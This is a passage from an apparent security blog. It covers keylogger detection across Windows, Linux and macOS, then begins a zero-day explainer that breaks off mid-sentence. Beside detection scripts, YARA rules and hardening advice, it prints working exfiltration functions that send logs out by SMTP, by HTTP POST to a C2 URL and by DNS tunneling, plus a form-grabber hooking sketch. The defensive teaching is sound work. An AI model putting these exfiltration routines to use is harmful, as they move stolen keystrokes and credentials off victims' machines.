Zeus/SpyEye form-grabbing approach (documented in malware analysis reports) // Hook browser SSL/TLS send function to capture POST data before encryption // For Firefox (32-bit), hook PR_Write in nss3.dll: void* original_PR_Write = GetProcAddress(GetModuleHandle("nss3.dll"), "PR_Write"); // Inline hook: redirect PR_Write to our function, capture data, call original // Our hook captures: // - The exact URL being submitted to // - The POST body (containing username=X&password=Y) // This works even with autofill — no keystrokes required // This works with HTTPS — we intercept before the SSL layer ``` **Why form grabbers are particularly dangerous:** - Capture credentials even when using password manager autofill (no keystrokes to log) - Associate captured credentials with the target URL (higher intelligence value) - Operate inside the browser process, harder to detect from outside - Can inject content into loaded pages (man-in-the-browser attacks) - Zeus and its derivatives stole hundreds of millions of dollars from banking customers 2007-2013 **Detection**: Form grabbers inject DLLs into browser processes. Process Explorer shows all DLLs loaded by each browser process, any unrecognized DLL in Chrome, Firefox, or Edge's process is suspicious. ### Hypervisor-Based Keyloggers Theoretical and rarely seen outside nation-state toolkits. A malicious hypervisor installs itself below the existing OS, which becomes a guest VM unaware it is virtualized. Input interception at the hypervisor layer is invisible to all OS-level tools. Detection requires out-of-band analysis, hardware attestation (TPM-based), or timing analysis to detect the hypervisor's overhead. Not practically relevant for most threat models, included here for completeness and because Blue Pill / SubVirt research demonstrated feasibility in 2006-2007. ## Exfiltration Methods Capturing keystrokes without exfiltrating them is pointless. Understanding how logs leave the system informs network-level detection. ### Exfiltration Channel Taxonomy ```python # Email exfiltration (common in commodity keyloggers) # Look for outbound SMTP from non-mail processes import smtplib from email.mime.text import MIMEText def exfil_via_email(log_contents, attacker_email, smtp_server, credentials): msg = MIMEText(log_contents) msg['Subject'] = f'Log_{datetime.now()}' msg['From'] = credentials['user'] msg['To'] = attacker_email with smtplib.SMTP_SSL(smtp_server, 465) as server: server.login(credentials['user'], credentials['password']) server.send_message(msg) # Detection: Outbound port 587/465/25 from processes that have no reason to send email # Process names to flag: svchost32.exe, update.exe, anything in AppData or Temp ``` ```python # HTTP/HTTPS C2 exfiltration (more sophisticated) # Beacon to C2 server, upload log contents embedded in HTTP POST import requests import base64 def beacon_to_c2(log_data, c2_url): # Encode to avoid content filtering encoded = base64.b64encode(log_data.encode()).decode() # POST to C2 — blends in as legitimate HTTPS traffic requests.post(c2_url, data={'data': encoded}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...'}) # Detection: Regular outbound HTTPS from unusual processes # Beacon interval timing (periodic connections at fixed intervals) # New/unusual domains in DNS logs ``` ```python # DNS tunneling (advanced, hard to detect) # Encode log data in DNS query labels import dns.resolver def dns_exfil(log_chunk, c2_domain): # Encode data as hex, split into 63-char labels encoded = log_chunk.hex() labels = [encoded[i:i+63] for i in range(0, len(encoded), 63)] subdomain = '.'.join(labels) + '.' + c2_domain # DNS query for a nonexistent domain — C2 server logs the query try: dns.resolver.resolve(subdomain, 'A') except: pass # Expected to fail; the query itself is the channel # Detection: High-entropy subdomain queries, long DNS query strings # Tools: Zeek DNS log analysis, Darktrace, Cisco Umbrella anomaly detection ``` ## Windows Detection Methods ### Sysinternals Autoruns: Primary Detection Tool Autoruns is the most comprehensive tool for finding persistence mechanisms on Windows. For keylogger detection, it enumerates all autostart locations and identifies running kernel drivers. ``` Download: https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns Run as Administrator (required for driver enumeration) Configuration for detection: 1. Options → Scan Options → Check VirusTotal.com (Submits hashes automatically; red/yellow entries are suspicious) 2. View → Hide Microsoft Entries (Reduces noise; focus on third-party entries) 3. View → Show Only Unsigned Entries (optional, reduces noise further) Key tabs to review for keyloggers: "Everything" tab: All persistence mechanisms - Look for: entries in %TEMP%, %APPDATA%, C:\Users\\ paths - Look for: entries with no description or company name - Look for: VirusTotal detection count > 0 "Drivers" tab: Kernel-mode drivers - Kernel keyloggers appear here - Any unsigned driver or driver from an unusual path is suspicious - Check: Path, Publisher, Description fields "Scheduled Tasks" tab: - Keyloggers may schedule themselves for persistence or timed exfiltration - Look for tasks running from unusual paths "Browser Extensions" tab: - Form-grabbing keyloggers may appear as browser extensions - Look for extensions with no description or unusual publisher Export for analysis: File → Save → autoruns_[date].arn # Compare across time to find newly added entries ``` ### PowerShell Detection Commands ```powershell # Enumerate all running processes with their paths Get-Process | Select-Object Id, ProcessName, Path, Company, Description | Sort-Object Path | Format-Table -AutoSize # Find processes running from suspicious locations Get-Process | Where-Object { $_.Path -match "(%TEMP%|Temp\\|AppData\\Local\\Temp|AppData\\Roaming\\)" -or $_.Path -match "(AppData\\Roaming\\[^\\]+\\[^\\]+\.exe)" -or ($_.Path -notmatch "^C:\\Windows" -and $_.Path -notmatch "^C:\\Program Files") } | Select-Object ProcessName, Id, Path # Check for global keyboard hooks (WH_KEYBOARD_LL = 13) # Using Get-WmiObject to list processes with unusual characteristics Get-WmiObject Win32_Process | Where-Object {$_.CommandLine -ne $null} | Select-Object Name, ProcessId, CommandLine | Where-Object {$_.CommandLine -match "(keyboard|keylog|hook|logger)"} | Format-Table -AutoSize # List loaded drivers (kernel-level keyloggers appear here) Get-WmiObject Win32_SystemDriver | Where-Object {$_.State -eq "Running"} | Select-Object Name, PathName, State, StartMode | Where-Object { $_.PathName -notmatch "^C:\\Windows\\System32\\drivers" -and $_.PathName -notmatch "^C:\\Windows\\SysWOW64" } | Format-Table -AutoSize # Check scheduled tasks for suspicious entries Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | ForEach-Object { $action = $_.Actions | Where-Object {$_.Execute -ne $null} [PSCustomObject]@{ Name = $_.TaskName Path = $_.TaskPath Execute = $action.Execute Arguments = $action.Arguments } } | Where-Object { $_.Execute -match "(AppData|Temp|ProgramData)" -or $_.Execute -notmatch "^C:\\Windows" } | Format-Table -AutoSize # Check startup registry keys $startup_keys = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run", "HKLM:\SYSTEM\CurrentControlSet\Services" ) foreach ($key in $startup_keys) { if (Test-Path $key) { Get-ItemProperty $key 2>/dev/null | Select-Object * -ExcludeProperty PS* | Format-Table -AutoSize } } # Detect WH_KEYBOARD hooks installed by processes # (Requires optional Windows SDK component or third-party tool) # Simpler approach: use WinSpy++ or Process Hacker ``` ### Process Explorer for DLL Injection Detection ```powershell # Verify DLLs loaded by browser processes (detect form grabbers) $browser_processes = @("chrome", "firefox", "msedge", "brave", "opera") foreach ($browser in $browser_processes) { $procs = Get-Process -Name $browser -ErrorAction SilentlyContinue foreach ($proc in $procs) { Write-Host "--- $browser (PID: $($proc.Id)) ---" $proc.Modules | Where-Object { # Flag DLLs outside standard Windows/browser paths $_.FileName -notmatch "^C:\\Windows" -and $_.FileName -notmatch "^C:\\Program Files" -and $_.FileName -notmatch $proc.Path.Substring(0, $proc.Path.LastIndexOf('\')) } | Select-Object FileName, FileVersion | Format-Table -AutoSize } } ``` ### Network Traffic Analysis for Exfiltration Detection ```powershell # TCPView / Get-NetTCPConnection — identify unusual outbound connections # All established connections with process names Get-NetTCPConnection -State Established | ForEach-Object { $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue [PSCustomObject]@{ LocalAddress = $_.LocalAddress LocalPort = $_.LocalPort RemoteAddress = $_.RemoteAddress RemotePort = $_.RemotePort State = $_.State ProcessName = $proc.Name ProcessPath = $proc.Path PID = $_.OwningProcess } } | # Flag connections from processes in unusual locations Where-Object { $_.ProcessPath -match "(AppData|Temp|ProgramData)" -or $_.RemotePort -in @(25, 465, 587) # SMTP from non-mail applications } | Format-Table -AutoSize # Monitor for new connections in real time while ($true) { $connections = Get-NetTCPConnection -State Established foreach ($conn in $connections) { $proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue Write-Host "[$(Get-Date -Format 'HH:mm:ss')] $($proc.Name) → $($conn.RemoteAddress):$($conn.RemotePort)" } Start-Sleep -Seconds 5 } ``` ### Process Monitor for File I/O Analysis Sysinternals Process Monitor captures real-time file system, registry, and process/thread activity. For keylogger detection, monitor for log file creation and periodic writes: ``` Process Monitor configuration for keylogger detection: Download: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Filter setup: Add filter: Operation = WriteFile → Include Add filter: Path contains .log → Include Add filter: Path contains keylog → Include Add filter: Path contains AppData → Include Add filter: Category = Write → Include Run for 5-10 minutes and watch for: - Processes writing to files at consistent intervals (e.g., every 60 seconds) → Interval flushing of keystroke buffer to disk - Processes writing to %APPDATA%\[random_name]\ folders - Small periodic writes (100-500 bytes) from a single process → Keystroke log being flushed Process Monitor filter shortcut: Ctrl+L → Add filter Ctrl+X → Toggle capturing Ctrl+H → Highlight specific pattern Export results: File → Save → CSV file for offline analysis ``` ### Windows Event Log Analysis ```powershell # Check for new service installations (kernel keyloggers install as services) Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} | Select-Object TimeCreated, Message | ForEach-Object { if ($_.Message -match "Service Name:\s*(.+)") { $serviceName = $Matches[1] $serviceFile = if ($_.Message -match "Service File Name:\s*(.+)") {$Matches[1]} else {"Unknown"} Write-Host "New service: $serviceName → $serviceFile at $($_.TimeCreated)" } } # Check for driver loading events Get-WinEvent -FilterHashtable @{LogName='System'; Id=6} | Select-Object TimeCreated, Message | Format-Table -AutoSize # Process creation with Sysmon (Event ID 1) — requires Sysmon installed Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} | ForEach-Object { $xml = [xml]$_.ToXml() $image = $xml.Event.EventData.Data | Where-Object {$_.Name -eq "Image"} | Select-Object -ExpandProperty '#text' $cmdline = $xml.Event.EventData.Data | Where-Object {$_.Name -eq "CommandLine"} | Select-Object -ExpandProperty '#text' [PSCustomObject]@{ Time = $_.TimeCreated Image = $image CommandLine = $cmdline } } | Where-Object {$_.Image -match "(Temp|AppData|ProgramData)"} | Format-Table -AutoSize ``` ## Linux Detection Methods ```bash # Check for keyboard input device access — legitimate processes are limited sudo lsof /dev/input/event* # Expected processes with input device access: # - X11 or Wayland display server # - libinput # - xorg-server # - accessibility daemons # Any unexpected process accessing /dev/input/event* is suspicious # Find all processes that have opened input devices sudo fuser /dev/input/event* # More detailed: check what files each process has open for proc in $(ls /proc | grep -E '^[0-9]+$'); do if ls /proc/$proc/fd 2>/dev/null | xargs -I{} readlink /proc/$proc/fd/{} 2>/dev/null | grep -q "/dev/input"; then echo "PID $proc ($(cat /proc/$proc/comm 2>/dev/null)) has input device open" fi done ``` ```bash # Check loaded kernel modules for unknown entries lsmod | grep -v -f /var/lib/known_modules.txt 2>/dev/null || lsmod # Build baseline: lsmod > /var/lib/known_modules.txt # Check module signatures for mod in $(lsmod | awk 'NR>1 {print $1}'); do sig=$(modinfo $mod 2>/dev/null | grep "^signer:") taint=$(modinfo $mod 2>/dev/null | grep "taint:") if [ -n "$taint" ]; then echo "TAINTED MODULE: $mod | $taint | $sig" fi done # Check for unsigned/out-of-tree modules modinfo $(lsmod | awk 'NR>1 {print $1}') 2>/dev/null | grep -E "^(name|filename|signer|sig_key):" # Recent module loads dmesg | grep -i "module\|driver\|keyboard" | tail -50 # Kernel integrity check (if IMA enabled) cat /sys/kernel/security/ima/policy 2>/dev/null ``` ```bash # Process inspection # All processes with their command lines ps aux --forest # Processes accessing network connections ss -tulnp # New processes since last check (save baseline first) ps aux | awk '{print $11}' | sort > /tmp/current_procs.txt diff /tmp/baseline_procs.txt /tmp/current_procs.txt 2>/dev/null # Monitor new connections in real time watch -n 2 'ss -tnp | grep ESTABLISHED' # Check all established connections with process info ss -tnp state established # Find processes making outbound SMTP connections (port 25/465/587) ss -tnp | grep -E ':25|:465|:587' ``` ```bash # Check cron jobs (exfiltration scheduling) crontab -l 2>/dev/null sudo crontab -l 2>/dev/null # All user crontabs for user in $(cut -f1 -d: /etc/passwd); do crontab_content=$(crontab -u "$user" -l 2>/dev/null) if [ -n "$crontab_content" ]; then echo "=== Crontab for $user ===" echo "$crontab_content" fi done # System cron ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ cat /etc/crontab # Systemd timers (modern replacement for cron) systemctl list-timers --all # Recently modified files (potential keylogger installation artifacts) find /etc /usr/bin /usr/sbin /bin /sbin /lib /lib64 \ -newer /tmp -type f -ls 2>/dev/null | sort -k8 | tail -50 # Most recently modified # Look for hidden files in home directories and common locations find /home /tmp /var/tmp /dev/shm \ -name ".*" -type f -ls 2>/dev/null ``` ```bash # Network traffic analysis for exfiltration # Capture traffic and analyze for keystroke log patterns tcpdump -i any -w /tmp/capture.pcap -c 10000 & TCPDUMP_PID=$! sleep 60 kill $TCPDUMP_PID # Analyze with tshark tshark -r /tmp/capture.pcap -T fields -e ip.dst -e tcp.dstport -e frame.len | sort | uniq -c | sort -rn | head -30 # Look for: regular small packets to unusual destinations # Regular beaconing pattern (same destination, consistent interval) # DNS tunneling detection tcpdump -r /tmp/capture.pcap -n udp port 53 2>/dev/null | \ awk '{print $NF}' | sort | uniq -c | sort -rn | head -20 # Look for: high-entropy subdomain labels, unusually long query strings ``` ## macOS Detection Methods ```bash # macOS — check for keyboard event access # Privacy settings control which apps can monitor keyboard # System Preferences → Security & Privacy → Privacy → Input Monitoring # List apps with input monitoring access: tccutil list 2>/dev/null | grep "kTCCServiceListenEvent" # Process monitoring ps aux | grep -v grep | grep -i -E "key|log|monitor|spy|hook" # Launch agents and daemons (persistence locations) ls -la ~/Library/LaunchAgents/ ls -la /Library/LaunchAgents/ ls -la /Library/LaunchDaemons/ sudo ls -la /System/Library/LaunchDaemons/ # Check launch agent contents for suspicious programs for plist in ~/Library/LaunchAgents/*.plist; do echo "=== $plist ===" /usr/libexec/PlistBuddy -c "Print :ProgramArguments" "$plist" 2>/dev/null done # Kernel extensions (older macOS keyloggers used kexts) kextstat | grep -v apple # Any non-Apple kext is worth investigating # Network connections with process info sudo lsof -i -n -P | grep ESTABLISHED # Recent application installs ls -lt /Applications/ | head -20 ls -lt ~/Applications/ | head -20 # Check for suspicious Login Items # System Preferences → Users & Groups → Login Items (macOS 12 and earlier) # System Preferences → General → Login Items (macOS 13+) # Or via command line: osascript -e 'tell application "System Events" to get the name of every login item' ``` ## YARA Rules for Keylogger Detection ```yara rule Win_Keylogger_SetWindowsHook { meta: description = "Detects SetWindowsHookEx-based keyboard hooks" author = "Security Team" severity = "medium" strings: $hook_func = "SetWindowsHookEx" ascii $unhook = "UnhookWindowsHookEx" ascii $keyboard_ll = {13 00 00 00} // WH_KEYBOARD_LL = 13 $callnext = "CallNextHookEx" ascii $get_msg = "GetMessage" ascii wide condition: $hook_func and $unhook and $callnext and ($keyboard_ll or $get_msg) and filesize < 2MB } rule Win_Keylogger_GetAsyncKeyState { meta: description = "Detects polling-based keylogger using GetAsyncKeyState" severity = "medium" strings: $api = "GetAsyncKeyState" ascii $loop_pattern_1 = { 6A 5A E8 } // push 0x5A (Z key) + call $loop_pattern_2 = { 6A 01 E8 } // push 1 + call $log_write = { FF 15 } // indirect call (WriteFile) condition: $api and ($loop_pattern_1 or $loop_pattern_2) and filesize < 1MB } rule Win_FormGrabber_BrowserHook { meta: description = "Detects browser form grabber patterns" severity = "high" strings: $nss = "nss3.dll" ascii wide nocase $pr_write = "PR_Write" ascii $ssl_write = "SSL_Write" ascii $cf_write = "CF_Write" ascii // Chromium $hooking = { 8B 0D ?? ?? ?? ?? FF 15 } // Common inline hook pattern condition: ($nss or $pr_write or $ssl_write or $cf_write) and $hooking and pe.imports("kernel32.dll", "VirtualProtect") and // Memory permission changes = hooking filesize < 5MB } rule Generic_Keylogger_EmailExfil { meta: description = "Detects keylogger with email exfiltration capability" severity = "high" strings: $smtp = "smtp" ascii wide nocase $mail_to = "mail_to" ascii nocase $sendmail = "SendMail" ascii wide nocase $keylog_string = "keylog" ascii nocase $hook_string = "SetWindowsHookEx" ascii $getstate = "GetAsyncKeyState" ascii condition: ($smtp or $mail_to or $sendmail) and ($hook_string or $getstate) and filesize < 5MB } ``` ```bash # Run YARA scans # Install: apt install yara or brew install yara # Scan running processes yara -p 4 keylogger_rules.yar /proc/*/exe 2>/dev/null # Linux yara -p 4 keylogger_rules.yar C:\Windows\System32\ 2>$null # Windows via WSL or native # Scan common malware locations yara keylogger_rules.yar %APPDATA% /s 2>$null yara keylogger_rules.yar %TEMP% /s 2>$null yara keylogger_rules.yar %ProgramData% /s 2>$null # Scan memory of all running processes (Windows, requires elevated) yara -p 4 keylogger_rules.yar [PID] ``` ## Investigation Priority Order When you suspect a keylogger, work through these checks in order: ``` Step 1: Physical inspection (hardware keylogger elimination) □ Trace keyboard cable from keyboard to computer □ Examine both ends □ No inline device? Proceed to software analysis Step 2: Autoruns (Windows) — persistence before processes □ Run as Administrator □ Enable VirusTotal check □ Hide Microsoft entries □ Review Drivers, Scheduled Tasks, Services, Everything tabs □ Flag: unsigned entries, entries in temp/AppData paths, VirusTotal detections > 0 Step 3: Process analysis □ Process Explorer: look for process tree anomalies, suspicious paths, VirusTotal scan □ Check DLLs loaded by browser processes (form grabbers) □ Check for LSASS or keyboard driver access by unusual processes Step 4: Network analysis □ TCPView / ss -tnp: all established connections with process □ Flag: SMTP from non-mail processes, regular beaconing, unusual destinations □ DNS analysis: high-entropy queries, unusual subdomain patterns Step 5: File I/O (Process Monitor) □ Filter for WriteFile operations □ Look for periodic small writes from single process at consistent intervals □ Check %APPDATA%, %TEMP%, %ProgramData% for log files Step 6: AV/EDR offline scan □ Boot from clean external media or use offline scanner □ Scan from outside the potentially compromised OS □ Kernel-level rootkits may evade in-OS scans Step 7: Memory analysis (if infection confirmed) □ WinPmem / LiME memory capture □ Volatility: malfind (injected code), dlllist (loaded modules), netscan (network state) ``` ## Prevention **OS-level controls:** ```powershell # Windows: Enable Driver Signature Enforcement # (Prevents unsigned kernel drivers — blocks most commodity rootkits) # Verify status: bcdedit /enum | findstr nointegritychecks # Should not appear # Enable if disabled: bcdedit /set nointegritychecks off bcdedit /set testsigning off # Enable Secure Boot (via BIOS/UEFI — verify in OS) Confirm-SecureBootUEFI # Returns True if enabled # Enable Credential Guard (protects LSASS, also disrupts some rootkit techniques) # Requires: Windows 10 Enterprise/Education, Hyper-V, IOMMU # Enable via Group Policy: Computer Configuration → Administrative Templates → # System → Device Guard → Turn On Virtualization Based Security # Standard user account for daily work (prevents kernel driver installation) # Admin account for admin tasks only — UAC prompt for driver installation # breaks most commodity keylogger installation paths ``` ```bash # Linux: Enable kernel lockdown mode (blocks unsigned module loading) # Requires UEFI Secure Boot # Check current lockdown level: cat /sys/kernel/security/lockdown # Enable at boot (Grub configuration): # Add to GRUB_CMDLINE_LINUX_DEFAULT: lockdown=confidentiality # Update grub: sudo update-grub # LSM (Linux Security Module) controls: # AppArmor / SELinux / Seccomp profiles for sensitive processes # Restrict /dev/input access to specific processes via AppArmor profile # Audit input device access: auditctl -w /dev/input/ -p rw -k input_device_access # Log any access to /dev/input/* ``` **Authentication hardening:** Hardware security keys (FIDO2/WebAuthn) provide the strongest defense against keylogger impact on authentication. When you authenticate with a hardware key, the private key never leaves the device: it signs a server challenge using the secure element. A keylogger capturing your PIN (used to unlock the key locally) cannot reproduce the cryptographic assertion without the physical device. Even a session captured after successful authentication is not reusable on other devices. ``` Authentication hierarchy vs. keylogger risk: Password only → Keylogger fully bypasses; credential captured directly Password + SMS OTP → Keylogger captures both in real time if MFA relay is used Password + TOTP → Keylogger captures both; TOTP has 30s window for relay Password + FIDO2 hardware key → PIN captured, but cryptographic assertion requires physical device; replay not possible Passkey → Device-bound private key; PIN captured is insufficient without hardware ``` **Password manager usage:** Password managers autofill credentials without typing them, which defeats API-level keyloggers that monitor keystrokes. The manager's autofill injects credentials directly into form fields without keyboard input events. Form-grabbing keyloggers still intercept the POST submission, but they require the more sophisticated browser hook approach, and they are detectable via DLL inspection. **Network egress filtering:** ``` Firewall rules to block keylogger exfiltration channels: Block outbound SMTP from endpoints (port 25/465/587): Only authorized mail servers should send SMTP An endpoint workstation has no legitimate reason to send SMTP directly Monitor for DNS anomalies: Block or alert on queries for newly registered domains (< 30 days) Block or alert on queries with unusual label entropy Implement DNS RPZ (Response Policy Zone) with threat feed Rate-limit DNS from endpoints: Normal DNS traffic: < 100 queries/minute DNS tunneling: > 1000 queries/minute Alert/block at threshold Monitor for regular beaconing patterns: Periodic outbound connections at fixed intervals (e.g., every 60 seconds) from a single process to the same external IP is characteristic of C2 ``` ## If You Find a Keylogger Finding a keylogger is a security incident, not a cleanup task. ``` Incident response for a detected keylogger: 1. Do NOT simply remove and continue What was captured during the active period? Duration of capture = scope of compromise 2. Assess the exposure window When was the keylogger installed? (Autoruns timestamps, installer logs) What was typed during that window? - All passwords typed (assume all are compromised) - All API keys, SSH keys, tokens typed or pasted - All sensitive communications composed 3. Rotate everything Change passwords for every account accessed from the affected device Rotate API keys and access tokens Rotate SSH private key passphrases (or generate new keys if passphrase was typed) Rotate any certificates or secrets that were typed or pasted 4. Preserve forensic artifacts Copy the keylogger binary (hash it first: sha256sum) Export relevant log files Capture memory if the keylogger is still running Document everything before removal 5. Escalate appropriately Corporate device: treat as security incident, report to security team Personal device with work access: notify employer IT/security Evidence of targeted attack (sophisticated keylogger, specific targeting): notify law enforcement 6. Investigate how the keylogger was installed Physical access? → Evaluate who had access during the vulnerable window Malware delivery? → Determine entry vector, check other devices Insider threat? → HR, legal, security team coordination ``` A keylogger is a symptom. The credential exposure it enabled, and the access that credential exposure enables, is the actual breach. The keylogger removal ends the capture; it does not recover what was already taken. Mac-specific malware is real and Apple's built-in XProtect does not catch all of it. **[SecureMac MacScan 3](/ref/securemac)** is dedicated macOS anti-malware from a team that has been hunting Mac threats since 1999. *This links to the vendor's own page and earns us nothing today.* ### Sources - Stalkerware: How to Protect Yourself (Electronic Frontier Foundation): https://ssd.eff.org/ - Protect Yourself from Spyware (Federal Trade Commission): https://consumer.ftc.gov/ - MITRE ATT&CK: Input Capture (T1056) (MITRE): https://attack.mitre.org/techniques/T1056/ --- ## Zero-Day Vulnerabilities: What They Are and Why They Matter > Zero-days are the most dangerous class of vulnerability. How they're discovered, traded and exploited, and what you can actually do to protect against them. - URL: https://blog.pwnsy.com/zero-day-vulnerabilities - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: intermediate - Category: malware - Tags: zero-day, vulnerabilities, exploit, patch-management, threat-intelligence - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [UEFI Firmware Security Explained: Secure Boot, TPMs and Bootkits](https://blog.pwnsy.com/uefi-firmware-security-explained) ### TL;DR - A zero-day is a flaw the vendor doesn't know about; an N-day is a published flaw without a deployed patch, and N-days cause the vast majority of real-world breaches. - Zero-day exploits for iOS zero-click attacks sell for up to $2.5 million; most ransomware groups use far cheaper N-day exploits against unpatched internet-facing systems. - EternalBlue, the NSA's SMBv1 exploit, was leaked and used in WannaCry and NotPetya, causing an estimated $10+ billion in global damage after a patch had been available for a month. - Defending against zero-days means reducing attack surface, deploying EDR for behavioral detection, enforcing zero trust, and patching aggressively, because N-days drive most actual attacks. ### Key Takeaways - The window of maximum attacker advantage runs from when a threat actor discovers a vulnerability to when organizations widely deploy the vendor's patch, which averages 30-90 days for enterprises. - Government-stockpiled zero-days are liabilities: the NSA's EternalBlue leaked after operators left it on a compromised staging server and subsequently caused more global damage than any disclosed vulnerability in history. - Log4Shell demonstrated that a critical vulnerability in a single widely-used library can affect thousands of applications simultaneously, including apps whose vendors didn't know they used the library. - EDR platforms detect zero-day exploitation through behavioral signals: a browser spawning cmd.exe, a silent process making outbound connections, unsigned executables running from temp directories, even without knowing the specific exploit. - Ransomware affiliates overwhelmingly use N-day exploits against unpatched appliances, not zero-days; patching internet-facing VPNs and firewalls promptly stops the majority of real-world ransomware intrusions. ### FAQ **Q: What is a zero-day vulnerability?** A zero-day vulnerability is a security flaw that the software vendor is unaware of and therefore has no patch for. The name refers to how many days the vendor has had to fix it: zero. A zero-day exploit is a working attack tool that reliably leverages such a flaw. Once the vendor learns of the vulnerability, it technically stops being a zero-day, though the dangerous exposure window continues until organizations deploy the patch. **Q: How much do zero-day exploits cost?** Prices depend on the target platform and capability. Zerodium's published acquisition prices include up to $2.5 million for an iOS or Android zero-click remote exploit, $500,000 for a Chrome or Safari full chain with sandbox escape, and $400,000 for a Windows local privilege escalation. Underground market listings for enterprise appliances like Fortinet and VMware range from $600,000 to over $1 million. **Q: What was EternalBlue and why was it so damaging?** EternalBlue was an NSA exploit for a remote code execution vulnerability in Windows' SMBv1 protocol that required no authentication and no user interaction. It leaked publicly in April 2017 and was used in the WannaCry ransomware worm, which infected 200,000 machines across 150 countries in 72 hours, and in NotPetya, a destructive wiper that caused an estimated $10 billion in global damage. A Microsoft patch had been available for a month before WannaCry launched. **Q: Can you protect against zero-day attacks?** You can reduce risk but not eliminate it against a nation-state adversary with a zero-click exploit. Effective controls include: reducing your internet-facing attack surface, deploying EDR for behavioral detection of exploitation activity, enforcing zero trust network architecture to limit lateral movement after a compromise, and patching aggressively to eliminate N-day footholds. Most organizations face N-day ransomware attacks, not true zero-days, so these controls stop the majority of real threats. **Q: What is the difference between a zero-day and an N-day vulnerability?** A zero-day is a flaw the vendor is unaware of with no patch available. An N-day is a published vulnerability with an available patch that an organization has not yet applied. The Colonial Pipeline ransomware attack, the Equifax breach, and most enterprise ransomware incidents exploit N-days, known vulnerabilities with patches that were not deployed in time. Exploiting an N-day requires far less sophistication and cost than a true zero-day. In February 2021, researchers at Citizen Lab discovered that the iPhone of Al-Jazeera journalist Tamer Almisshal had been silently compromised without any interaction on his part. No suspicious link clicked. No attachment opened. His phone received an invisible iMessage attachment, and that was enough. NSO Group's Pegasus spyware had gained complete access to his encrypted messages, camera, microphone, and real-time location, on a fully patched iOS 14 device. The exploit used was a zero-click zero-day worth millions of dollars on the open market. Zero-day vulnerabilities sit at the intersection of intelligence tradecraft, criminal enterprise, and corporate negligence. They are simultaneously the most glamorized and most misunderstood concept in cybersecurity. This post cuts through the mythology to explain what zero-days actually are, how the market for them works, which ones have caused the most damage, and (critically) what defenders can actually do about a threat class where the conventional advice ("just patch it") is definitionally inapplicable. ## Defining Zero-Day Precisely A **zero-day vulnerability** is a security flaw that the software vendor is unaware of. The "zero" refers to the number of days the vendor has had to address it: zero. There is no patch. No workaround advisory. No vendor acknowledgment. Defenders are flying blind. A **zero-day exploit** is a working attack tool that reliably leverages a zero-day vulnerability. Having a vulnerability isn't the same as having an exploit, turning a bug into reliable, weaponizable attack code is a separate and often significant engineering effort. The moment a vendor becomes aware of the vulnerability (whether through researcher disclosure, internal discovery, or intelligence reporting) the clock starts. The vulnerability technically stops being "zero-day," though the window between vendor awareness and widespread patch deployment is still a dangerous exposure period. **N-day vulnerabilities** are published bugs with available patches that organizations haven't deployed. This is where the vast majority of real-world exploitation occurs. The Colonial Pipeline ransomware attack in May 2021 (temporary fuel shortage across the US East Coast, $4.4 million ransom paid) exploited a VPN vulnerability with a published CVE and an available patch. The attackers didn't need a zero-day: they just needed an organization that hadn't patched a known critical vulnerability. The distinction matters for risk analysis: true zero-days require nation-state-level resources or an underground market purchase. N-day vulnerabilities require Google and a week of patience. --- ## The Vulnerability Lifecycle Every vulnerability follows a lifecycle with a defined window of risk at each stage: ``` [Introduction] Developer introduces code containing a flaw ↓ (weeks to years pass — vulnerability exists but is unknown) [Discovery] Someone finds the flaw: → Security researcher: likely coordinated disclosure → Internal audit: likely internal fix without public disclosure → Bug bounty hunter: monetized via bug bounty program → Threat actor: monetized via exploitation or sale ↓ [Weaponization] Working exploit code is developed This step is non-trivial — requires significant reverse engineering skill A proof-of-concept ≠ a reliable weaponized exploit ↓ [Disclosure / Use] Path A: Responsible Disclosure → vendor patches → public disclosure (CVD process) Path B: 0-day sale → buyer uses it silently until discovered Path C: Public 1-day — disclosed without vendor coordination, immediate exploitation ↓ [Patch Release] Vendor ships a fix For major vendors: hours to months depending on severity and complexity ↓ [Patch Deployment] Organizations install the patch Enterprise patch cycles: 30-90 days average; often never for forgotten systems This is where most N-day exploitation occurs ↓ [Remediation Complete] Vulnerability no longer exploitable at scale (Some legacy systems remain permanently unpatched) ``` The **window of maximum attacker advantage** is between discovery by a threat actor and widespread patch deployment by defenders. For a true zero-day sold to a sophisticated government buyer, that window may be years. For a publicly disclosed critical CVE, the practical exploitation window shrinks to hours (when a well-funded attacker reverse-engineers the patch) to weeks (when a commodity exploit appears in Metasploit). --- ## The Zero-Day Market Zero-day vulnerabilities are commodities. The market for them is structured, multi-tiered, and involves buyers ranging from well-intentioned security researchers to authoritarian governments. ### Bug Bounty Programs: The Clean End Major technology companies pay security researchers to report vulnerabilities responsibly. Payouts are public and some are substantial: **Apple Security Research:** - Zero-click remote code execution with kernel privileges on iOS: up to $1,000,000 - Zero-click full chain with persistence: up to $1,000,000 - Network access kernel code execution: up to $250,000 - Data access without user interaction: up to $100,000 **Google Bug Hunters (Chrome):** - Memory corruption in V8: typically $20,000-$85,000 - Full browser RCE with sandbox escape: up to $250,000 - Total paid out: over $50 million since 2010 **Microsoft MSRC:** - Critical RCE in Microsoft products: up to $250,000 - Hyper-V escape: up to $250,000 Bug bounties create an incentive structure where disclosure to the vendor is more profitable than selling to the underground market, for researchers who care about legality and ethics. The limitation: for an iOS zero-click chain, Zerodium's public price list was $2.5 million. Apple's top payout is $1 million. The market premium for silence is real. ### Government and 